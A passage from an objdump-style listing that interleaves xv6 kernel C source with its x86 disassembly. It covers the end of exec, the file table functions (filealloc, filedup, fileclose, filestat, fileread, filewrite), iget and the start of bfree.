80100cfd: 8b 70 04 mov 0x4(%eax),%esi
curproc->pgdir = pgdir;
80100d00: 89 50 04 mov %edx,0x4(%eax)
curproc->sz = sz;
80100d03: 89 08 mov %ecx,(%eax)
curproc->tf->eip = elf.entry; // main
80100d05: 8b 40 18 mov 0x18(%eax),%eax
curproc->tf->esp = sp;
80100d08: 8b 8d f4 fe ff ff mov -0x10c(%ebp),%ecx
// Commit to the user image.
oldpgdir = curproc->pgdir;
curproc->pgdir = pgdir;
curproc->sz = sz;
curproc->tf->eip = elf.entry; // main
80100d0e: 8b 55 ac mov -0x54(%ebp),%edx
80100d11: 89 50 38 mov %edx,0x38(%eax)
curproc->tf->esp = sp;
80100d14: 8b 41 18 mov 0x18(%ecx),%eax
80100d17: 89 58 44 mov %ebx,0x44(%eax)
switchuvm(curproc);
80100d1a: 89 0c 24 mov %ecx,(%esp)
80100d1d: e8 fe 58 00 00 call 80106620 <switchuvm>
freevm(oldpgdir);
80100d22: 89 34 24 mov %esi,(%esp)
80100d25: e8 16 5d 00 00 call 80106a40 <freevm>
return 0;
80100d2a: 31 c0 xor %eax,%eax
80100d2c: e9 f4 fc ff ff jmp 80100a25 <exec+0x75>
...
80100d40 <fileinit>:
struct file file[NFILE];
} ftable;
void
fileinit(void)
{
80100d40: 55 push %ebp
80100d41: 89 e5 mov %esp,%ebp
80100d43: 83 ec 18 sub $0x18,%esp
initlock(&ftable.lock, "ftable");
80100d46: c7 44 24 04 cd 6d 10 movl $0x80106dcd,0x4(%esp)
80100d4d: 80
80100d4e: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100d55: e8 b6 33 00 00 call 80104110 <initlock>
}
80100d5a: c9 leave
80100d5b: c3 ret
80100d5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100d60 <filealloc>:
// Allocate a file structure.
struct file*
filealloc(void)
{
80100d60: 55 push %ebp
80100d61: 89 e5 mov %esp,%ebp
80100d63: 53 push %ebx
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100d64: bb f4 ff 10 80 mov $0x8010fff4,%ebx
}
// Allocate a file structure.
struct file*
filealloc(void)
{
80100d69: 83 ec 14 sub $0x14,%esp
struct file *f;
acquire(&ftable.lock);
80100d6c: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100d73: e8 08 35 00 00 call 80104280 <acquire>
for(f = ftable.file; f < ftable.file + NFILE; f++){
if(f->ref == 0){
80100d78: 8b 15 f8 ff 10 80 mov 0x8010fff8,%edx
80100d7e: 85 d2 test %edx,%edx
80100d80: 74 18 je 80100d9a <filealloc+0x3a>
80100d82: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
filealloc(void)
{
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100d88: 83 c3 18 add $0x18,%ebx
80100d8b: 81 fb 54 09 11 80 cmp $0x80110954,%ebx
80100d91: 73 25 jae 80100db8 <filealloc+0x58>
if(f->ref == 0){
80100d93: 8b 43 04 mov 0x4(%ebx),%eax
80100d96: 85 c0 test %eax,%eax
80100d98: 75 ee jne 80100d88 <filealloc+0x28>
f->ref = 1;
80100d9a: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx)
release(&ftable.lock);
80100da1: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100da8: e8 43 35 00 00 call 801042f0 <release>
return f;
}
}
release(&ftable.lock);
return 0;
}
80100dad: 83 c4 14 add $0x14,%esp
80100db0: 89 d8 mov %ebx,%eax
80100db2: 5b pop %ebx
80100db3: 5d pop %ebp
80100db4: c3 ret
80100db5: 8d 76 00 lea 0x0(%esi),%esi
f->ref = 1;
release(&ftable.lock);
return f;
}
}
release(&ftable.lock);
80100db8: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
return 0;
80100dbf: 31 db xor %ebx,%ebx
f->ref = 1;
release(&ftable.lock);
return f;
}
}
release(&ftable.lock);
80100dc1: e8 2a 35 00 00 call 801042f0 <release>
return 0;
}
80100dc6: 83 c4 14 add $0x14,%esp
80100dc9: 89 d8 mov %ebx,%eax
80100dcb: 5b pop %ebx
80100dcc: 5d pop %ebp
80100dcd: c3 ret
80100dce: 66 90 xchg %ax,%ax
80100dd0 <filedup>:
// Increment ref count for file f.
struct file*
filedup(struct file *f)
{
80100dd0: 55 push %ebp
80100dd1: 89 e5 mov %esp,%ebp
80100dd3: 53 push %ebx
80100dd4: 83 ec 14 sub $0x14,%esp
80100dd7: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ftable.lock);
80100dda: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100de1: e8 9a 34 00 00 call 80104280 <acquire>
if(f->ref < 1)
80100de6: 8b 43 04 mov 0x4(%ebx),%eax
80100de9: 85 c0 test %eax,%eax
80100deb: 7e 1a jle 80100e07 <filedup+0x37>
panic("filedup");
f->ref++;
80100ded: 83 c0 01 add $0x1,%eax
80100df0: 89 43 04 mov %eax,0x4(%ebx)
release(&ftable.lock);
80100df3: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100dfa: e8 f1 34 00 00 call 801042f0 <release>
return f;
}
80100dff: 83 c4 14 add $0x14,%esp
80100e02: 89 d8 mov %ebx,%eax
80100e04: 5b pop %ebx
80100e05: 5d pop %ebp
80100e06: c3 ret
struct file*
filedup(struct file *f)
{
acquire(&ftable.lock);
if(f->ref < 1)
panic("filedup");
80100e07: c7 04 24 d4 6d 10 80 movl $0x80106dd4,(%esp)
80100e0e: e8 5d f5 ff ff call 80100370 <panic>
80100e13: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100e19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100e20 <fileclose>:
}
// Close file f. (Decrement ref count, close when reaches 0.)
void
fileclose(struct file *f)
{
80100e20: 55 push %ebp
80100e21: 89 e5 mov %esp,%ebp
80100e23: 83 ec 38 sub $0x38,%esp
80100e26: 89 5d f4 mov %ebx,-0xc(%ebp)
80100e29: 8b 5d 08 mov 0x8(%ebp),%ebx
80100e2c: 89 75 f8 mov %esi,-0x8(%ebp)
80100e2f: 89 7d fc mov %edi,-0x4(%ebp)
struct file ff;
acquire(&ftable.lock);
80100e32: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
80100e39: e8 42 34 00 00 call 80104280 <acquire>
if(f->ref < 1)
80100e3e: 8b 43 04 mov 0x4(%ebx),%eax
80100e41: 85 c0 test %eax,%eax
80100e43: 0f 8e 9c 00 00 00 jle 80100ee5 <fileclose+0xc5>
panic("fileclose");
if(--f->ref > 0){
80100e49: 83 e8 01 sub $0x1,%eax
80100e4c: 85 c0 test %eax,%eax
80100e4e: 89 43 04 mov %eax,0x4(%ebx)
80100e51: 74 1d je 80100e70 <fileclose+0x50>
release(&ftable.lock);
80100e53: c7 45 08 c0 ff 10 80 movl $0x8010ffc0,0x8(%ebp)
else if(ff.type == FD_INODE){
begin_op();
iput(ff.ip);
end_op();
}
}
80100e5a: 8b 5d f4 mov -0xc(%ebp),%ebx
80100e5d: 8b 75 f8 mov -0x8(%ebp),%esi
80100e60: 8b 7d fc mov -0x4(%ebp),%edi
80100e63: 89 ec mov %ebp,%esp
80100e65: 5d pop %ebp
acquire(&ftable.lock);
if(f->ref < 1)
panic("fileclose");
if(--f->ref > 0){
release(&ftable.lock);
80100e66: e9 85 34 00 00 jmp 801042f0 <release>
80100e6b: 90 nop
80100e6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return;
}
ff = *f;
80100e70: 0f b6 43 09 movzbl 0x9(%ebx),%eax
80100e74: 8b 33 mov (%ebx),%esi
f->ref = 0;
f->type = FD_NONE;
80100e76: c7 03 00 00 00 00 movl $0x0,(%ebx)
panic("fileclose");
if(--f->ref > 0){
release(&ftable.lock);
return;
}
ff = *f;
80100e7c: 8b 7b 10 mov 0x10(%ebx),%edi
80100e7f: 88 45 e7 mov %al,-0x19(%ebp)
80100e82: 8b 43 0c mov 0xc(%ebx),%eax
f->ref = 0;
f->type = FD_NONE;
release(&ftable.lock);
80100e85: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
panic("fileclose");
if(--f->ref > 0){
release(&ftable.lock);
return;
}
ff = *f;
80100e8c: 89 45 e0 mov %eax,-0x20(%ebp)
f->ref = 0;
f->type = FD_NONE;
release(&ftable.lock);
80100e8f: e8 5c 34 00 00 call 801042f0 <release>
if(ff.type == FD_PIPE)
80100e94: 83 fe 01 cmp $0x1,%esi
80100e97: 74 37 je 80100ed0 <fileclose+0xb0>
pipeclose(ff.pipe, ff.writable);
else if(ff.type == FD_INODE){
80100e99: 83 fe 02 cmp $0x2,%esi
80100e9c: 74 12 je 80100eb0 <fileclose+0x90>
begin_op();
iput(ff.ip);
end_op();
}
}
80100e9e: 8b 5d f4 mov -0xc(%ebp),%ebx
80100ea1: 8b 75 f8 mov -0x8(%ebp),%esi
80100ea4: 8b 7d fc mov -0x4(%ebp),%edi
80100ea7: 89 ec mov %ebp,%esp
80100ea9: 5d pop %ebp
80100eaa: c3 ret
80100eab: 90 nop
80100eac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
release(&ftable.lock);
if(ff.type == FD_PIPE)
pipeclose(ff.pipe, ff.writable);
else if(ff.type == FD_INODE){
begin_op();
80100eb0: e8 bb 1c 00 00 call 80102b70 <begin_op>
iput(ff.ip);
80100eb5: 89 3c 24 mov %edi,(%esp)
80100eb8: e8 13 09 00 00 call 801017d0 <iput>
end_op();
}
}
80100ebd: 8b 5d f4 mov -0xc(%ebp),%ebx
80100ec0: 8b 75 f8 mov -0x8(%ebp),%esi
80100ec3: 8b 7d fc mov -0x4(%ebp),%edi
80100ec6: 89 ec mov %ebp,%esp
80100ec8: 5d pop %ebp
if(ff.type == FD_PIPE)
pipeclose(ff.pipe, ff.writable);
else if(ff.type == FD_INODE){
begin_op();
iput(ff.ip);
end_op();
80100ec9: e9 12 1d 00 00 jmp 80102be0 <end_op>
80100ece: 66 90 xchg %ax,%ax
f->ref = 0;
f->type = FD_NONE;
release(&ftable.lock);
if(ff.type == FD_PIPE)
pipeclose(ff.pipe, ff.writable);
80100ed0: 0f be 45 e7 movsbl -0x19(%ebp),%eax
80100ed4: 89 44 24 04 mov %eax,0x4(%esp)
80100ed8: 8b 45 e0 mov -0x20(%ebp),%eax
80100edb: 89 04 24 mov %eax,(%esp)
80100ede: e8 ed 23 00 00 call 801032d0 <pipeclose>
80100ee3: eb b9 jmp 80100e9e <fileclose+0x7e>
{
struct file ff;
acquire(&ftable.lock);
if(f->ref < 1)
panic("fileclose");
80100ee5: c7 04 24 dc 6d 10 80 movl $0x80106ddc,(%esp)
80100eec: e8 7f f4 ff ff call 80100370 <panic>
80100ef1: eb 0d jmp 80100f00 <filestat>
80100ef3: 90 nop
80100ef4: 90 nop
80100ef5: 90 nop
80100ef6: 90 nop
80100ef7: 90 nop
80100ef8: 90 nop
80100ef9: 90 nop
80100efa: 90 nop
80100efb: 90 nop
80100efc: 90 nop
80100efd: 90 nop
80100efe: 90 nop
80100eff: 90 nop
80100f00 <filestat>:
}
// Get metadata about file f.
int
filestat(struct file *f, struct stat *st)
{
80100f00: 55 push %ebp
ilock(f->ip);
stati(f->ip, st);
iunlock(f->ip);
return 0;
}
return -1;
80100f01: b8 ff ff ff ff mov $0xffffffff,%eax
}
// Get metadata about file f.
int
filestat(struct file *f, struct stat *st)
{
80100f06: 89 e5 mov %esp,%ebp
80100f08: 53 push %ebx
80100f09: 83 ec 14 sub $0x14,%esp
80100f0c: 8b 5d 08 mov 0x8(%ebp),%ebx
if(f->type == FD_INODE){
80100f0f: 83 3b 02 cmpl $0x2,(%ebx)
80100f12: 75 2a jne 80100f3e <filestat+0x3e>
ilock(f->ip);
80100f14: 8b 43 10 mov 0x10(%ebx),%eax
80100f17: 89 04 24 mov %eax,(%esp)
80100f1a: e8 81 07 00 00 call 801016a0 <ilock>
stati(f->ip, st);
80100f1f: 8b 45 0c mov 0xc(%ebp),%eax
80100f22: 89 44 24 04 mov %eax,0x4(%esp)
80100f26: 8b 43 10 mov 0x10(%ebx),%eax
80100f29: 89 04 24 mov %eax,(%esp)
80100f2c: e8 1f 0a 00 00 call 80101950 <stati>
iunlock(f->ip);
80100f31: 8b 43 10 mov 0x10(%ebx),%eax
80100f34: 89 04 24 mov %eax,(%esp)
80100f37: e8 44 08 00 00 call 80101780 <iunlock>
return 0;
80100f3c: 31 c0 xor %eax,%eax
}
return -1;
}
80100f3e: 83 c4 14 add $0x14,%esp
80100f41: 5b pop %ebx
80100f42: 5d pop %ebp
80100f43: c3 ret
80100f44: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100f4a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80100f50 <fileread>:
// Read from file f.
int
fileread(struct file *f, char *addr, int n)
{
80100f50: 55 push %ebp
80100f51: 89 e5 mov %esp,%ebp
80100f53: 83 ec 28 sub $0x28,%esp
80100f56: 89 5d f4 mov %ebx,-0xc(%ebp)
80100f59: 8b 5d 08 mov 0x8(%ebp),%ebx
80100f5c: 89 75 f8 mov %esi,-0x8(%ebp)
80100f5f: 8b 75 0c mov 0xc(%ebp),%esi
80100f62: 89 7d fc mov %edi,-0x4(%ebp)
80100f65: 8b 7d 10 mov 0x10(%ebp),%edi
int r;
if(f->readable == 0)
80100f68: 80 7b 08 00 cmpb $0x0,0x8(%ebx)
80100f6c: 74 72 je 80100fe0 <fileread+0x90>
return -1;
if(f->type == FD_PIPE)
80100f6e: 8b 03 mov (%ebx),%eax
80100f70: 83 f8 01 cmp $0x1,%eax
80100f73: 74 53 je 80100fc8 <fileread+0x78>
return piperead(f->pipe, addr, n);
if(f->type == FD_INODE){
80100f75: 83 f8 02 cmp $0x2,%eax
80100f78: 75 6d jne 80100fe7 <fileread+0x97>
ilock(f->ip);
80100f7a: 8b 43 10 mov 0x10(%ebx),%eax
80100f7d: 89 04 24 mov %eax,(%esp)
80100f80: e8 1b 07 00 00 call 801016a0 <ilock>
if((r = readi(f->ip, addr, f->off, n)) > 0)
80100f85: 89 7c 24 0c mov %edi,0xc(%esp)
80100f89: 8b 43 14 mov 0x14(%ebx),%eax
80100f8c: 89 74 24 04 mov %esi,0x4(%esp)
80100f90: 89 44 24 08 mov %eax,0x8(%esp)
80100f94: 8b 43 10 mov 0x10(%ebx),%eax
80100f97: 89 04 24 mov %eax,(%esp)
80100f9a: e8 e1 09 00 00 call 80101980 <readi>
80100f9f: 85 c0 test %eax,%eax
80100fa1: 89 c6 mov %eax,%esi
80100fa3: 7e 03 jle 80100fa8 <fileread+0x58>
f->off += r;
80100fa5: 01 43 14 add %eax,0x14(%ebx)
iunlock(f->ip);
80100fa8: 8b 43 10 mov 0x10(%ebx),%eax
80100fab: 89 04 24 mov %eax,(%esp)
80100fae: e8 cd 07 00 00 call 80101780 <iunlock>
return r;
}
panic("fileread");
}
80100fb3: 89 f0 mov %esi,%eax
80100fb5: 8b 5d f4 mov -0xc(%ebp),%ebx
80100fb8: 8b 75 f8 mov -0x8(%ebp),%esi
80100fbb: 8b 7d fc mov -0x4(%ebp),%edi
80100fbe: 89 ec mov %ebp,%esp
80100fc0: 5d pop %ebp
80100fc1: c3 ret
80100fc2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
int r;
if(f->readable == 0)
return -1;
if(f->type == FD_PIPE)
return piperead(f->pipe, addr, n);
80100fc8: 8b 43 0c mov 0xc(%ebx),%eax
f->off += r;
iunlock(f->ip);
return r;
}
panic("fileread");
}
80100fcb: 8b 75 f8 mov -0x8(%ebp),%esi
80100fce: 8b 5d f4 mov -0xc(%ebp),%ebx
80100fd1: 8b 7d fc mov -0x4(%ebp),%edi
int r;
if(f->readable == 0)
return -1;
if(f->type == FD_PIPE)
return piperead(f->pipe, addr, n);
80100fd4: 89 45 08 mov %eax,0x8(%ebp)
f->off += r;
iunlock(f->ip);
return r;
}
panic("fileread");
}
80100fd7: 89 ec mov %ebp,%esp
80100fd9: 5d pop %ebp
int r;
if(f->readable == 0)
return -1;
if(f->type == FD_PIPE)
return piperead(f->pipe, addr, n);
80100fda: e9 81 24 00 00 jmp 80103460 <piperead>
80100fdf: 90 nop
fileread(struct file *f, char *addr, int n)
{
int r;
if(f->readable == 0)
return -1;
80100fe0: be ff ff ff ff mov $0xffffffff,%esi
80100fe5: eb cc jmp 80100fb3 <fileread+0x63>
if((r = readi(f->ip, addr, f->off, n)) > 0)
f->off += r;
iunlock(f->ip);
return r;
}
panic("fileread");
80100fe7: c7 04 24 e6 6d 10 80 movl $0x80106de6,(%esp)
80100fee: e8 7d f3 ff ff call 80100370 <panic>
80100ff3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100ff9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101000 <filewrite>:
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
80101000: 55 push %ebp
80101001: 89 e5 mov %esp,%ebp
80101003: 57 push %edi
80101004: 56 push %esi
80101005: 53 push %ebx
80101006: 83 ec 2c sub $0x2c,%esp
80101009: 8b 45 0c mov 0xc(%ebp),%eax
8010100c: 8b 5d 08 mov 0x8(%ebp),%ebx
8010100f: 89 45 e0 mov %eax,-0x20(%ebp)
80101012: 8b 45 10 mov 0x10(%ebp),%eax
int r;
if(f->writable == 0)
80101015: 80 7b 09 00 cmpb $0x0,0x9(%ebx)
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
80101019: 89 45 e4 mov %eax,-0x1c(%ebp)
int r;
if(f->writable == 0)
8010101c: 0f 84 ae 00 00 00 je 801010d0 <filewrite+0xd0>
return -1;
if(f->type == FD_PIPE)
80101022: 8b 03 mov (%ebx),%eax
80101024: 83 f8 01 cmp $0x1,%eax
80101027: 0f 84 c6 00 00 00 je 801010f3 <filewrite+0xf3>
return pipewrite(f->pipe, addr, n);
if(f->type == FD_INODE){
8010102d: 83 f8 02 cmp $0x2,%eax
80101030: 0f 85 db 00 00 00 jne 80101111 <filewrite+0x111>
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
80101036: 8b 4d e4 mov -0x1c(%ebp),%ecx
80101039: 31 f6 xor %esi,%esi
8010103b: 85 c9 test %ecx,%ecx
8010103d: 7f 31 jg 80101070 <filewrite+0x70>
8010103f: e9 9c 00 00 00 jmp 801010e0 <filewrite+0xe0>
80101044: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
n1 = max;
begin_op();
ilock(f->ip);
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
f->off += r;
80101048: 01 43 14 add %eax,0x14(%ebx)
iunlock(f->ip);
8010104b: 8b 53 10 mov 0x10(%ebx),%edx
8010104e: 89 45 dc mov %eax,-0x24(%ebp)
80101051: 89 14 24 mov %edx,(%esp)
80101054: e8 27 07 00 00 call 80101780 <iunlock>
end_op();
80101059: e8 82 1b 00 00 call 80102be0 <end_op>
8010105e: 8b 45 dc mov -0x24(%ebp),%eax
if(r < 0)
break;
if(r != n1)
80101061: 39 f8 cmp %edi,%eax
80101063: 0f 85 9c 00 00 00 jne 80101105 <filewrite+0x105>
panic("short filewrite");
i += r;
80101069: 01 c6 add %eax,%esi
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
8010106b: 39 75 e4 cmp %esi,-0x1c(%ebp)
8010106e: 7e 70 jle 801010e0 <filewrite+0xe0>
int n1 = n - i;
80101070: 8b 7d e4 mov -0x1c(%ebp),%edi
80101073: b8 00 06 00 00 mov $0x600,%eax
80101078: 29 f7 sub %esi,%edi
8010107a: 81 ff 00 06 00 00 cmp $0x600,%edi
80101080: 0f 4f f8 cmovg %eax,%edi
if(n1 > max)
n1 = max;
begin_op();
80101083: e8 e8 1a 00 00 call 80102b70 <begin_op>
ilock(f->ip);
80101088: 8b 43 10 mov 0x10(%ebx),%eax
8010108b: 89 04 24 mov %eax,(%esp)
8010108e: e8 0d 06 00 00 call 801016a0 <ilock>
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
80101093: 89 7c 24 0c mov %edi,0xc(%esp)
80101097: 8b 43 14 mov 0x14(%ebx),%eax
8010109a: 89 44 24 08 mov %eax,0x8(%esp)
8010109e: 8b 45 e0 mov -0x20(%ebp),%eax
801010a1: 01 f0 add %esi,%eax
801010a3: 89 44 24 04 mov %eax,0x4(%esp)
801010a7: 8b 43 10 mov 0x10(%ebx),%eax
801010aa: 89 04 24 mov %eax,(%esp)
801010ad: e8 fe 09 00 00 call 80101ab0 <writei>
801010b2: 85 c0 test %eax,%eax
801010b4: 7f 92 jg 80101048 <filewrite+0x48>
f->off += r;
iunlock(f->ip);
801010b6: 8b 53 10 mov 0x10(%ebx),%edx
801010b9: 89 45 dc mov %eax,-0x24(%ebp)
801010bc: 89 14 24 mov %edx,(%esp)
801010bf: e8 bc 06 00 00 call 80101780 <iunlock>
end_op();
801010c4: e8 17 1b 00 00 call 80102be0 <end_op>
if(r < 0)
801010c9: 8b 45 dc mov -0x24(%ebp),%eax
801010cc: 85 c0 test %eax,%eax
801010ce: 74 91 je 80101061 <filewrite+0x61>
i += r;
}
return i == n ? n : -1;
}
panic("filewrite");
}
801010d0: 83 c4 2c add $0x2c,%esp
break;
if(r != n1)
panic("short filewrite");
i += r;
}
return i == n ? n : -1;
801010d3: b8 ff ff ff ff mov $0xffffffff,%eax
}
panic("filewrite");
}
801010d8: 5b pop %ebx
801010d9: 5e pop %esi
801010da: 5f pop %edi
801010db: 5d pop %ebp
801010dc: c3 ret
801010dd: 8d 76 00 lea 0x0(%esi),%esi
break;
if(r != n1)
panic("short filewrite");
i += r;
}
return i == n ? n : -1;
801010e0: 3b 75 e4 cmp -0x1c(%ebp),%esi
801010e3: b8 ff ff ff ff mov $0xffffffff,%eax
801010e8: 0f 44 c6 cmove %esi,%eax
}
panic("filewrite");
}
801010eb: 83 c4 2c add $0x2c,%esp
801010ee: 5b pop %ebx
801010ef: 5e pop %esi
801010f0: 5f pop %edi
801010f1: 5d pop %ebp
801010f2: c3 ret
int r;
if(f->writable == 0)
return -1;
if(f->type == FD_PIPE)
return pipewrite(f->pipe, addr, n);
801010f3: 8b 43 0c mov 0xc(%ebx),%eax
801010f6: 89 45 08 mov %eax,0x8(%ebp)
i += r;
}
return i == n ? n : -1;
}
panic("filewrite");
}
801010f9: 83 c4 2c add $0x2c,%esp
801010fc: 5b pop %ebx
801010fd: 5e pop %esi
801010fe: 5f pop %edi
801010ff: 5d pop %ebp
int r;
if(f->writable == 0)
return -1;
if(f->type == FD_PIPE)
return pipewrite(f->pipe, addr, n);
80101100: e9 6b 22 00 00 jmp 80103370 <pipewrite>
end_op();
if(r < 0)
break;
if(r != n1)
panic("short filewrite");
80101105: c7 04 24 ef 6d 10 80 movl $0x80106def,(%esp)
8010110c: e8 5f f2 ff ff call 80100370 <panic>
i += r;
}
return i == n ? n : -1;
}
panic("filewrite");
80101111: c7 04 24 f5 6d 10 80 movl $0x80106df5,(%esp)
80101118: e8 53 f2 ff ff call 80100370 <panic>
8010111d: 00 00 add %al,(%eax)
...
80101120 <iget>:
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
80101120: 55 push %ebp
80101121: 89 e5 mov %esp,%ebp
80101123: 57 push %edi
80101124: 89 d7 mov %edx,%edi
80101126: 56 push %esi
struct inode *ip, *empty;
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
80101127: 31 f6 xor %esi,%esi
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
80101129: 53 push %ebx
8010112a: 89 c3 mov %eax,%ebx
8010112c: 83 ec 2c sub $0x2c,%esp
struct inode *ip, *empty;
acquire(&icache.lock);
8010112f: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101136: e8 45 31 00 00 call 80104280 <acquire>
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010113b: b8 14 0a 11 80 mov $0x80110a14,%eax
80101140: eb 16 jmp 80101158 <iget+0x38>
80101142: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ip->ref++;
release(&icache.lock);
return ip;
}
if(empty == 0 && ip->ref == 0) // Remember empty slot.
80101148: 85 f6 test %esi,%esi
8010114a: 74 3c je 80101188 <iget+0x68>
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010114c: 05 90 00 00 00 add $0x90,%eax
80101151: 3d 34 26 11 80 cmp $0x80112634,%eax
80101156: 73 48 jae 801011a0 <iget+0x80>
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
80101158: 8b 48 08 mov 0x8(%eax),%ecx
8010115b: 85 c9 test %ecx,%ecx
8010115d: 7e e9 jle 80101148 <iget+0x28>
8010115f: 39 18 cmp %ebx,(%eax)
80101161: 75 e5 jne 80101148 <iget+0x28>
80101163: 39 78 04 cmp %edi,0x4(%eax)
80101166: 75 e0 jne 80101148 <iget+0x28>
ip->ref++;
80101168: 83 c1 01 add $0x1,%ecx
8010116b: 89 48 08 mov %ecx,0x8(%eax)
release(&icache.lock);
8010116e: 89 45 e4 mov %eax,-0x1c(%ebp)
80101171: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101178: e8 73 31 00 00 call 801042f0 <release>
return ip;
8010117d: 8b 45 e4 mov -0x1c(%ebp),%eax
ip->ref = 1;
ip->valid = 0;
release(&icache.lock);
return ip;
}
80101180: 83 c4 2c add $0x2c,%esp
80101183: 5b pop %ebx
80101184: 5e pop %esi
80101185: 5f pop %edi
80101186: 5d pop %ebp
80101187: c3 ret
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ip->ref++;
release(&icache.lock);
return ip;
}
if(empty == 0 && ip->ref == 0) // Remember empty slot.
80101188: 85 c9 test %ecx,%ecx
8010118a: 0f 44 f0 cmove %eax,%esi
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010118d: 05 90 00 00 00 add $0x90,%eax
80101192: 3d 34 26 11 80 cmp $0x80112634,%eax
80101197: 72 bf jb 80101158 <iget+0x38>
80101199: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(empty == 0 && ip->ref == 0) // Remember empty slot.
empty = ip;
}
// Recycle an inode cache entry.
if(empty == 0)
801011a0: 85 f6 test %esi,%esi
801011a2: 74 29 je 801011cd <iget+0xad>
panic("iget: no inodes");
ip = empty;
ip->dev = dev;
801011a4: 89 1e mov %ebx,(%esi)
ip->inum = inum;
801011a6: 89 7e 04 mov %edi,0x4(%esi)
ip->ref = 1;
801011a9: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi)
ip->valid = 0;
801011b0: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi)
release(&icache.lock);
801011b7: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
801011be: e8 2d 31 00 00 call 801042f0 <release>
return ip;
}
801011c3: 83 c4 2c add $0x2c,%esp
ip->inum = inum;
ip->ref = 1;
ip->valid = 0;
release(&icache.lock);
return ip;
801011c6: 89 f0 mov %esi,%eax
}
801011c8: 5b pop %ebx
801011c9: 5e pop %esi
801011ca: 5f pop %edi
801011cb: 5d pop %ebp
801011cc: c3 ret
empty = ip;
}
// Recycle an inode cache entry.
if(empty == 0)
panic("iget: no inodes");
801011cd: c7 04 24 ff 6d 10 80 movl $0x80106dff,(%esp)
801011d4: e8 97 f1 ff ff call 80100370 <panic>
801011d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801011e0 <bfree>:
}
// Free a disk block.
static void
bfree(int dev, uint b)
{
801011e0: 55 push %ebp
801011e1: 89 e5 mov %esp,%ebp
801011e3: 83 ec 28 sub $0x28,%esp
801011e6: 89 75 f8 mov %esi,-0x8(%ebp)
801011e9: 89 d6 mov %edx,%esi
struct buf *bp;
int bi, m;
bp = bread(dev, BBLOCK(b, sb));
801011eb: c1 ea 0c shr $0xc,%edx
801011ee: 03 15 d8 09 11 80 add 0x801109d8,%edx
}
// Free a disk block.
static void
bfree(int dev, uint b)
{
801011f4: 89 5d f4 mov %ebx,-0xc(%ebp)
struct buf *bp;
int bi, m;
bp = bread(dev, BBLOCK(b, sb));
bi = b % BPB;
801011f7: 89 f3 mov %esi,%ebx
}
// Free a disk block.
static void
bfree(int dev, uint b)
{
801011f9: 89 7d fc mov %edi,-0x4(%ebp)
struct buf *bp;
int bi, m;
bp = bread(dev, BBLOCK(b, sb));
bi = b % BPB;
801011fc: 81 e3 ff 0f 00 00 and $0xfff,%ebx
bfree(int dev, uint b)
{
struct buf *bp;
int bi, m;
bp = bread(dev, BBLOCK(b, sb));
80101202: 89 54 24 04 mov %edx,0x4(%esp)
bi = b % BPB;
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0)
80101206: c1 fb 03 sar $0x3,%ebx
bfree(int dev, uint b)
{
struct buf *bp;
int bi, m;
bp = bread(dev, BBLOCK(b, sb));
80101209: 89 04 24 mov %eax,(%esp)
